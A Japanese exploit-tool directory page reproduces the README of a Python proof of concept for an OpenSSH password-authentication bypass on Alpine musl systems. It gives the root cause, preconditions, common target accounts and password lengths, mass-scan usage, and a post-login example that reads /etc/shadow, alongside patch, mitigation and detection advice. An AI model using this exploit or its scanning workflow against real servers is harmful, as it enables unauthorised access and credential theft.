Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-123158_SSHole — Alpine muslシステム上のOpenSSHパスワード認証バイパスであるCVE-2026-123158を悪用するPython PoC。自動スキャン、前提条件チェック、ログイン後のコマンド実行機能を備えています。 | Kitploit
ツール/GitHubGitHub/gabrielunknown/cve-2026-123158_sshole
脆弱性分析エクスプロイトリバースエンジニアリングネットワークセキュリティペネトレーションテストバイナリ解析認証リモートアクセスツール
GitHubgabrielunknown/cve-2026-123158_sshole

CVE-2026-123158_SSHole

Alpine muslシステム上のOpenSSHパスワード認証バイパスであるCVE-2026-123158を悪用するPython PoC。自動スキャン、前提条件チェック、ログイン後のコマンド実行機能を備えています。

リポジトリを見る
10514日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 究極のOSINTツールキット:調査グラフ、信頼度スコアリング、エイリアスファミリー、マップ、タイムライン、レポート。49個のモジュール、400以上のサイト、APIキー不要。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock ワンタップ実行アプリ(CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    ShadowserverレポートをMongoDBに取り込み、インタラクティブなマップ、分析、調査結果、アドバイザリ、エグゼクティブダッシュボードとして再生するCSIRTプラットフォーム。

    371
  • 4

    redforge

    cybersecurity91/redforge

    ブラウザ側のレッドチームツールキット。偵察、ペイロード生成、認証情報攻撃、暗号、エンコーディング、エンゲージメントレポート向けの102のオフラインツールを備えています。

    336
  • 5

    ARTEX

    baarai/artex

    プランナー/ワーカーエージェント、資産グラフと探索グラフ、MITMトラフィック記録、脆弱性の再テストを備えたLLMマルチエージェント自律ペネトレーションテストプラットフォーム。

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AIネイティブなサイバーセキュリティのためのアクションシステム。意図がガバナンスされた実行に変わり、証拠が運用記憶となり、すべての操作が次の操作を改善する。

    322

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-123158 — 「SSHole」

Alpine Linux (musl libc) における OpenSSH パスワード認証バイパス
CVSS 3.1: 8.1 (High) · CWE-394 · 公開日: 2026-11-05
報告者: Özgün Kültekin (Wakefield)

法的免責事項
このリポジトリは、教育目的、セキュリティ研究、および許可された管理環境でのテストのみを目的としています。所有者からの明示的な許可なく本資料をシステムに対して使用することは違法かつ非倫理的です。著者は、許可された範囲外での本コンテンツの使用に起因するいかなる悪用、損害、または法的結果についても一切の責任を負いません。


概要

Alpine Linux 上の sshd は、攻撃者が 256 バイトを超えるパスワードを送信した場合、パスワードが設定されていないアカウント(shadow 内の *)に対してパスワード認証を許可してしまいます。事前の権限は不要で、SSH ポートへのネットワークアクセスがあれば十分です。


根本原因

この脆弱性は、3 つの独立した設計上の決定が相互作用することによって発生します:

┌──────────────────────────────────────────────────────────┐
│ 1. musl libc — crypt() returns "*" on failure           │
│    (glibc returns NULL; no ambiguity)                    │
│                                                           │
│ 2. musl SHA-512 — KEY_MAX = 256 bytes                   │
│    password > 256B → crypt() fails → returns "*"         │
│                                                           │
│ 3. OpenSSH (CVE-2016-6210 patch) — anti-enumeration     │
│    sshd ALWAYS calls crypt() even for no-password accts  │
│    using a salt "borrowed" from another account           │
│                                                           │
│ RESULT:                                                   │
│   crypt("A"×300, real_salt) → "*"   ← musl failure      │
│   strcmp("*", "*")          → 0     ← no-password acct  │
│   LOGIN ACCEPTED                                          │
└──────────────────────────────────────────────────────────┘

メカニズム: なぜ2回の試行が必要なのか

これは公開されているCVE情報源には記載されていない重要な詳細です。

Alpineのsshdはxcrypt.c内のpick_salt()を静的キャッシュ(salt_0)とともに使用します。このバイパスには、同一のSSH接続内で正確に2回の試行が必要です:

試行pick_salt()pw_passwordの状態crypt()結果
1回目getpwent/getspnamループを実行 → muslの静的バッファを上書き破損(別アカウントのデータを指す)"*"strcmp("*", <破損値>) → 失敗
2回目キャッシュsalt_0 != '\0' → 即座にリターン、getspnam()は呼ばれない有効: 対象アカウントの"*"のまま"*"strcmp("*", "*") == 0 → 成功

muslのバッファエイリアシング: getspnam()はすべての呼び出しで単一のグローバル静的バッファを使用します。1回目の試行では、pick_salt()がソルトを取得するためにgetspnam("hashuser")を呼び出し、pw_passwordが指すバッファ(getspnam("victim")由来)を上書きします。2回目の試行ではループがスキップされ、バッファはそのまま → エクスプロイトが成功します。

このエクスプロイトはparamiko.Transportを直接使用して、同一のSSH接続内で両方の試行を実行します。


バイナリ解析 (Ghidra / REA)

バイナリ: sshd-session (ELF x86_64、OpenSSH 9.9p2、Alpine 3.21、デバッグシンボル付き)

関数マップ

関数アドレス役割
sys_auth_passwd0x10f2e0メインゲート — 脆弱な条件
xcrypt0x1a7720pick_saltがここにインライン化(元はstatic)
shadow_pw0x1a7700getspnam()を呼び出す — バッファエイリアシング

pick_saltには独立したシンボルがありません。コンパイラがxcrypt内にインライン化しています。

sys_auth_passwd — 脆弱な条件

// victim has shadow "*" → pw_password = "*"
char *pw_password = shadow_pw(pw);

// GATE: pw_password[1] == '\0'  ← for "*" (len=1) → condition FALSE
// salt stays NULL → xcrypt() calls pick_salt()
if (authctxt->valid && pw_password[0] && pw_password[1])
    salt = pw_password;   // NOT executed
else
    salt = NULL;          // vulnerable path

encrypted_password = xcrypt(password, salt);
return strcmp(encrypted_password, pw_password) == 0;  // strcmp("*","*") → LOGIN ACCEPTED

xcrypt — 静的キャッシュ salt_0

if (salt == NULL) {
    if (salt_0 == '\0') {           // 1st call: populate cache
        setpwent();
        do {
            pw    = getpwent();
            pcVar1 = shadow_pw(pw); // getspnam() → overwrites musl static buffer!
        } while (*pcVar1 != '$');
        strlcpy(&salt_0, pcVar1, len);
        explicit_bzero(pcVar1, strlen(pcVar1));
        endpwent();
    }
    // 2nd call: salt_0 != '\0' → skips loop, no getspnam()
    salt = &salt_0;
}
return crypt(password, salt);       // musl: len > 256 → returns "*"

悪用の要件

条件Alpine のデフォルト
PasswordAuthentication yesはい (デフォルト)
UsePAM no (PAM なし)はい (デフォルト、PAM 未インストール)
shadow に * を持つ対象アカウントはい (Alpine 3.16 以降は root、鍵認証のみのアカウント)
$5$/$6$ ハッシュを持つ他のアカウントが少なくとも 1 つpick_salt() に必要

脆弱ではない: glibc システム (Debian/Ubuntu/RHEL)、UsePAM yes、PasswordAuthentication no、または shadow が ! (ロックされたアカウント)。

shadow に * を持つアカウント — 実環境での普及度

アカウントコンテキスト
rootAlpine 3.16 以降のデフォルト (鍵認証のみのログイン)
alpineCloud-init のデフォルトユーザー (AWS、GCP、Hetzner)
ec2-userAlpine ベースの Amazon Linux AMI
nobody、nginx、postgresパスワードなしでパッケージマネージャーによって作成される

パスワードサイズの境界

≤ 256 bytes  → rejected  (crypt() works, returns real hash)
257–1024     → ACCEPTED   (crypt() fails at KEY_MAX, returns "*")
≥ 1025       → rejected  (OpenSSH MAX_PASSWORD_LEN = 1024)

脆弱なバージョン / 修正済みバージョン

Alpine ブランチ修正済みバージョン
edge10.6_p2-r0
3.2410.3_p1-r2
3.2310.2_p1-r1
3.2210.0_p1-r11
3.219.9_p2-r1
3.209.7_p1-r6
3.199.6_p1-r3
3.189.3_p2-r4
< 3.16利用可能な修正なし

アップストリームの修正: OpenSSH 10.6p2 — auth-passwd.c は、shadow フィールドが 4 文字未満の場合に一致を拒否します。


即時の緩和策

# Alpine — update openssh and restart daemon
apk upgrade -U -a
rc-service sshd restart   # mandatory — installing alone does not replace the running process

# Without updating — disable PasswordAuthentication
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/disable-pw.conf
sshd -t && rc-service sshd restart

パスワード認証を無効化する前に、鍵ベースのログインが機能することを確認してください。


exploit.py — 使用方法

usage: exploit.py (--single IP | --list FILE) [--port N] [--user NAME]
                  [--auto] [--scan] [--check] [--workers N] [--output FILE]
                  [--cmd CMD] [--size N] [-v] [-h]

required:
  --single IP    Single target (e.g. 192.168.1.10)
  --list FILE    IP list file (one per line; supports IP:port)
  --port N       SSH port (default: 22)
  --user NAME    Target user (not required with --auto)

operation mode  (default: direct exploit):
  --auto         Test common accounts with '*' in shadow: root, alpine,
                 ec2-user, nobody, nginx, postgres
  --scan         Map the password size boundary (requires --user)
  --check        Check preconditions without exploiting (requires --user)

optional:
  --workers N    Parallel workers for --list (default: 1; recommended: <= 20)
  --output FILE  Save vulnerable results to .txt (append; skips non-vulnerable)
  --cmd CMD      Command to run after login (default: id)
  --size N       Oversized password length (default: 300; range: 257-1024)
  -v, --verbose  Verbose output with technical mechanism details
  -h, --help     Show this message and exit

examples:
  # auto-scan a single target (tests common accounts)
  python3 exploit.py --single 192.168.1.10 --port 22 --auto

  # auto-scan a target list, save vulnerable results
  python3 exploit.py --list targets.txt --auto --output vulnerable.txt

  # parallel scan over a list (10 workers)
  python3 exploit.py --list targets.txt --auto --workers 10 --output vulnerable.txt

  # direct exploit on a known user with a custom command
  python3 exploit.py --single 192.168.1.10 --port 22 --user root --cmd 'id && cat /etc/shadow'

  # map the password size boundary
  python3 exploit.py --single 192.168.1.10 --port 22 --user root --scan

  # check preconditions without exploiting
  python3 exploit.py --single 192.168.1.10 --port 22 --user root --check

targets.txt format:
  192.168.1.10          # uses global --port
  192.168.1.11:2222     # overrides port for this host
  # lines starting with # are ignored

検出

# Accepted logins in sshd logs
grep "Accepted password" /var/log/messages

# Accounts with '*' in shadow (bypass candidates)
awk -F: '$2 == "*" {print $1}' /etc/shadow

参考文献

ツールをダウンロード